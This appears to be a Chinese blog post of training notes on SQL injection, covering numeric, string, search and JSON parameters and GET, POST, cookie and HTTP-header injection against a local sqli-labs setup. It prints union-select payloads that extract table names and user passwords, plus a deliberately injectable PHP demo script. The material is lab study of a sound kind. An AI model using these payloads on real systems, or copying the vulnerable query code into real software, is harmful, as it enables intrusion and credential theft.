2020小迪培训(第14天 WEB 漏洞-类型及提交注入)

WEB 漏洞-类型及提交注入

前言

​ 在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取, 后续安全测试中我们也必须满足同等的操作才能进行注入。

image-20210803155054964

简要明确参数类型

数字、字符、搜索、JSON (在实际操作中,我们需要用工具/人工进行多次尝试)

  • 数字:前面教程所演示的SQL注入参数类型都是数字型的,我们在注入的时候不需要进行符号闭合的操作

  • 字符:带有单引号,我们不能再采取数字型的注入方式,不然咱们进行测试的语句也被带进语句中,无法起到注入的效果,我们应该把符号进行闭合

    已知:
    $name=$_GET['x']
    select * from users where name='xiaodi';
    
    网址上进行注入
    ?x=xiaodi and 1=1
    
    对应的SQL语句为
    select * from users where name='xiaodi and 1=1';
    	我们可以看出,要检查是否有注入点的代码被带入在单引号之中,这样我们就无法进行是否能进行sql语句的判断
    
    我们应该在网站这样写
    ?x=xiaodi' and 1=1 --+
    
    对应的SQL语句为
    select * from users where name='xiaodi' and 1=1 --+';
    	这样我们就能进行对应的SQL注入的测试,即我们需要先把单引号进行过滤
    
  • 搜索

    已知:$name=$_GET['x']
    
    在网址上进行注入 ?x=xiaodi 
    
    对应的SQL语句为
    select * from users where name like'%xiaodi%';
    
    这里我们需要过滤掉单引号和百分号,才能够进行对应的SQL注入
    
  • JSON

注: 其中 SQL 语句干扰符号:’ , " ,% , ) , } 等,具体需看写法

简要明确请求方法

GET,POST,COOKIE,REQUEST,HTTP 头等

  • 如何知道是GET还是POST呢?

    • 打开对应目标网站,按F12,点击其中的network进行数据包的查看,找到Request Headers(请求头)
    • 通过bp抓包进行确定
  • GET和POST区别在哪?

    • 一般大数据会采用POST提交,小数据会采用GET提交
    • GET方法会将提交的数据显示在网址中,而POST不会
  • 为什么要学习不同的请求呢?

    ​ 不同的请求方式,它请求的数据类型或者大小都不同。在注入的时候需要按照网站的请求方法进行注入或者进行思维转变绕过一些对应的过滤机制

实例说明

​ 涉及代码

<?php

@$g=$_GET['g'];
echo $g;

@$p=$_POST['post'];
echo $p;


@$c=$_COOKIE['cookie'];
echo $c;

@$r=$_REQUEST['r'];
echo $r;

@$s=$_SERVER['HTTP_USER_AGENT'];
echo $s;

?>
  1. GET方法传值

image-20210811211358711

  1. POST方法传值

    image-20210811211640149

  2. GET方法无法接收POST的值

    image-20210811211842229

  3. 在POST和GET同时生效的情况下,都会显示

    image-20210811211927500

5.在cookie情况下,我们可以看到

image-20210811212945275

image-20210811213001262

6.在REQUEST的情况下,无论是POST和GET提交的数据,都能被接收,就像第4种情况一样。

注意: 对网站进行安全测试的时候,我们大多数是黑盒测试,如果测试后知道对方采用REQUEST接收方式,就不需要考虑用何种方法去提交,但如果对方是单一接收方式,那么在注入的时候必须要用它的方法进行注入

7.$_SERVER是PHP里内置变量,全局变量,PHP写脚本时用它来获取系统的值,在数据包的某一个地方可以进行注入

详细介绍点击这里

image-20210811214031085

image-20210811214042573

image-20210811214235430

注: 我们可以对数据包部分进行注入的相关操作即写入注入代码,这是所谓的HTTP头部注入!

演示案例(以下结合代码进行)

参数字符型注入测试=>sqlilabs less 5 6
less5
  • 注入点id为get型字符类型,页面不正常说明确实为字符类型,符号为单引号
http://127.0.0.1/sqlilabs/Less-5/index.php?id=1' and 1=1--+

image-20210811221249357

http://127.0.0.1/sqlilabs/Less-5/index.php?id=1' and 1=2--+

image-20210811221213476

  • 猜测字段,我们这里可以看出字段为3
http://127.0.0.1/sqlilabs/Less-5/index.php?id=1' order by 4 --+

image-20210811221450611

  • 因为进行测试的时候没有对应回显,我们需要用到后面的知识点——盲注,我们先跳过这个
less6
  • 注入点id为get型字符类型,页面不正常说明确实为字符类型,符号为双引号
http://127.0.0.1/sqlilabs/Less-6/index.php?id=1" and 1=1--+

image-20210811222152093

http://127.0.0.1/sqlilabs/Less-6/index.php?id=1" and 1=2--+

image-20210811222225775

  • 猜测字段,我们这里可以看出字段为3
http://127.0.0.1/sqlilabs/Less-6/index.php?id=1" order by 4 --+

image-20210811222406253

  • 因为进行测试的时候没有对应回显,我们需要用到后面的知识点——盲注,我们先跳过这个
POST 数据提交注入测试=>sqlilabs less 11
  • 注入点为post型单引号
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=1#&passwd=admin&submit=Submit
image-20210811224033774
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=1#&passwd=admin&submit=Submit
image-20210811224125188
  • 猜测字段,我们这里可以看出字段为2
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' order by 3#&passwd=admin&submit=Submit
image-20210811224229590
  • 猜显示位
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=2 union select 1,2 #&passwd=admin&submit=Submit
image-20210811224522798
  • 爆数据库
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=2 union select database(),2 #&passwd=admin&submit=Submit
  • 爆表名
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&passwd=admin&submit=Submit
  • 爆列名
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users'#&passwd=admin&submit=Submit
  • 爆数据
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=2 union select username,password from users #&passwd=admin&submit=Submit
参数 JSON 数据注入测试=>本地环境代码演示
  • 涉及代码在最后的资源中,这里我们进行post提交
http://127.0.0.1/json.phppost提交:json={"username":"Dumb' and 1=2 union select 1,database(),3#"}

image-20210809152511061

  • 我们可以发现,json类型是具有一定格式的,我们只需要知道就是它的格式是怎样的,重点知道双引号" "这个是固定有的一个符号,不需要我们进行过滤,所以我们只需要和上面的方法过滤相关符号即可
格式如下名字={"name":" 'aming' ","sex" :"  'nan'  ",}
COOKIE 数据提交注入测试=>sqlilabs less 20

抓包的时候,直接抓进去的页面就可,不要抓点击登录后的!

  • post类型提交,但类型不是数字、字符或者其他,这里用Cookie类型注入
Cookie: uname=1' and 1=2#	//页面与原页面不同

image-20210811230451469

  • 爆字段
Cookie: uname=1' and 1=2 order by 4#

image-20210811230636304

  • 爆显示
Cookie: uname=1' and 1=2 union select 1,2,3#

image-20210811230843705

  • 爆数据库
Cookie: uname=1' union select 1,database(),3 #
  • 爆表
Cookie: uname=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
  • 爆字段
Cookie: uname=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'#
  • 爆数据
Cookie: uname=1' union select 1,username,password from users#

image-20210811231455275

HTTP 头部参数数据注入测试=>sqlilabs less 18
  • 由页面提示的消息结合代码,我们可以知道这道题需要我们进行HTTP 头部参数数据注入

image-20210811232120239

  • 查看源码后发现,SQL注入语句用到的是insert,这涉及到后面的内容,后续操作等教到再说。我们只要知道我们可以通过这种方式进行注入即可

演示资源

配合 sqlilabs 本地数据库演示
<?php

header('content-type:text/html;charset=utf-8');

if(isset($_POST['json'])){

$json_str=$_POST['json'];

$json=json_decode($json_str);

if(!$json){

die('JSON 文档格式有误,请检查');

}

$username=$json->username;

//$passwd=$json->passwd;

$mysqli=new mysqli();

$mysqli->connect('localhost','root','root');

if($mysqli->connect_errno){

die('数据库连接失败:'.$mysqli->connect_error);}

$mysqli->select_db('security');

if($mysqli->errno){

dir('打开数据库失败:'.$mysqli->error);

}

$mysqli->set_charset('utf-8');

$sql="SELECT * FROM users WHERE username='{$username}'";

echo $sql;

$result=$mysqli->query($sql);

if(!$result){

die('执行 SQL 语句失败:'.$mysqli->error);

}else if($result->num_rows==0){

die('查询结果为空');

}else {

$array1=$result->fetch_all(MYSQLI_ASSOC);

echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";

}

$result->free();

$mysqli->close();

}

?>

 

最后感谢小迪师傅的视频!!

笔记来源视频:点击这里

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Web安全学习大纲 一、Web安全系列之基础 1、Web安全基础概念(1) 互联网本来是安全的,自从有了研究安全的人之后,互联网就变的不安全了。 2、web面临的主要安全问题(2) 客户端:移动APP漏洞、浏览器劫持、篡改 服务器:DDos攻击、CC攻击、黑客入侵、业务欺诈、恶意内容 3、常用渗透手段(3) 信息搜集:域名、IP、服务器信息、CDN、子域名、GOOGLE HACKING 扫描器扫描:Nmap、AWVS、Burp Suite、在线扫描器 权限提升 权限维持 二、Web安全系列之漏洞 1、漏洞产生原因(1漏洞就是软件设计时存在的缺陷,安全漏洞就是软件缺陷具有安全攻击应用方面的价值。软件系统越复杂,存在漏洞的可能性越大。 2、漏洞出现哪些地方?(2) 前端静态页面 脚本 数据 服务:主机、网络 系统逻辑 移动APP 3、常见漏洞(3) SQL注入:布尔型注入、报错型注入、可联合查询注入、基于时间延迟注入。 XSS(跨站脚本攻击):反射型XSS、存储型XSS、DOM XSS CSRF(跨站请求伪造) SSRF(服务器端请求伪造) 文件上传下载:富文本编辑器 弱口令: X-Scan、Brutus、Hydra、溯雪等工具 其它漏洞: 4、逻辑漏洞(3) 平行越权 垂直越权 任意密码重置 支付漏洞:0元购 接口权限配置不当: 验证码功能缺陷: 5、框架漏洞(2) struts2漏洞、Spring远程代码执行漏洞、Java反序列化漏洞 6、建站程序漏洞(1) Discuz漏洞、CMS漏洞等 三、Web安全系列之防御 1、常见防御方案(1) 2、安全开发(2) 开发自检、测试自检、部署自检 开发工具:安全框架Spring security、 shiro、Spring boot 3、安全工具和设备(2) DDos防护、WAF、主机入侵防护等等 4、网站安全工具(1) 阿里云、云狗、云盾 网站在线检测:http://webscan.360.cn/ https://guanjia.qq.com/online_server/webindex.html http://www.51testing.com/zhuanti/selenium.html Selenium是一个用于Web应用程序测试的工具

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值